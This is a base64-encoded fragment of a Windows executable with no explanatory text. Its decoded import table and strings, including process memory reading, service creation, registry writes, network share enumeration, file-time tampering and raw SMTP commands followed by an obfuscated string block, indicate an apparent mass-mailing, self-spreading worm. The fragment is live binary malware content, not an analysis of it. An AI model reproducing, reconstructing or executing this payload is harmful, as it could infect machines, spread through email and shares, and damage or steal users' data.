AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA
3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ
AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA
nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe
AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA
AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA
AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA
DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA
AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF
BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI
AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv
ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K
AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90
IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu
b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot
IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw
YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv
cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y
DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA
UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs
IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv
ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50
cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m
dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy
b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA
R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy
LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA
AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc
AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA
2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa
AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA
LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ
AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA
LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g
AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA
bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e
AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA
AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA
Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN
ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy
U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j
ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl
dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp
bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy
cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD
aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA
3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ
YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA
nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl
dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291
bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl
bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl
dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD
b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl
QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51
bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA
NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl
ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA
RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp
ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu
Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB
U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B
UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn
ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO
ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu
ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl
dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl
YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl
RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52
aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD
b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl
YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA
VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT
dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t
AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP
TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A
AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAHfI967v7+/Xw8BAxEJAQMRgxkB
Bd8vNR0DLzUdA1+7vRkDgxkBBd8dB6+tXzMVOw0rAQODAxU33xsNOxdfFw0THRmDGQEF3w0d
CV8PAQMRCQEDEYMZAQXfLQE1BRVfDwEDEQkBAxGDGQEF3zcBBV8xHQ0PHQMRgxkBBYMPCd81
FxtfMxU7DSsBA4MDFTffOQ05Xw8BAxEJAQMRgxkBBd83HRsbFV8XDRMdGYMZAQXfGzU5D18z
FTsNKwEDgwMVN98FNQkdXzEbhQsdPx0DgxkBgws/3zcBCS0BXzEbhQsdPx0DgxkBgws/3xcT
NTkZDxU3Nw1fBQ0DFzk/Ow0DEYMZAQXfOxU/FSsBBzdfOwUNgwMVN98RFQMdGxUHGQ8VO18F
DQMXOT87DQMRgxkBBd93NTsDWzsBMTkVOzlNAzcBWzUtFTs5XxUdOzcPBw0DCYMDFTffFw0/
OTcNGQm7XxkBBRkdOTeDAxU33wkdF729vV8ZAQUZHTk3gwMVN98RHTstFxUbOV8ZAQUZHTk3
gwMVN98bDTsXER07FxUDub+7sa9fGQEFGR05N4MDFTffPw8dBT+7v7+/XxkBBRkdOTeDAxU3
3zcxDQMRBxUFAQW5XxkBBRkdOTeDAxU33zEVGwUdOTcVO183DxWFGQcNNwE7DTmDGQEF3xcN
Pzk3DRkJuV8ZAQUZHTk3gwMVN98FEzsVFxU7DRkJu7O3ubGvRU1fGQEFGR05N4MDFTffBRM7
FRcVOw0ZCbuzt7mxr18ZAQUZHTk3gwMVN98bAQcHDQMRFTsZXxkBBRkdOTeDAxU331lXU18F
HRcXDQMPHTU5FTuDGQEF31sBBwctvV8ZAQUZHTk3gwMVN9/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f
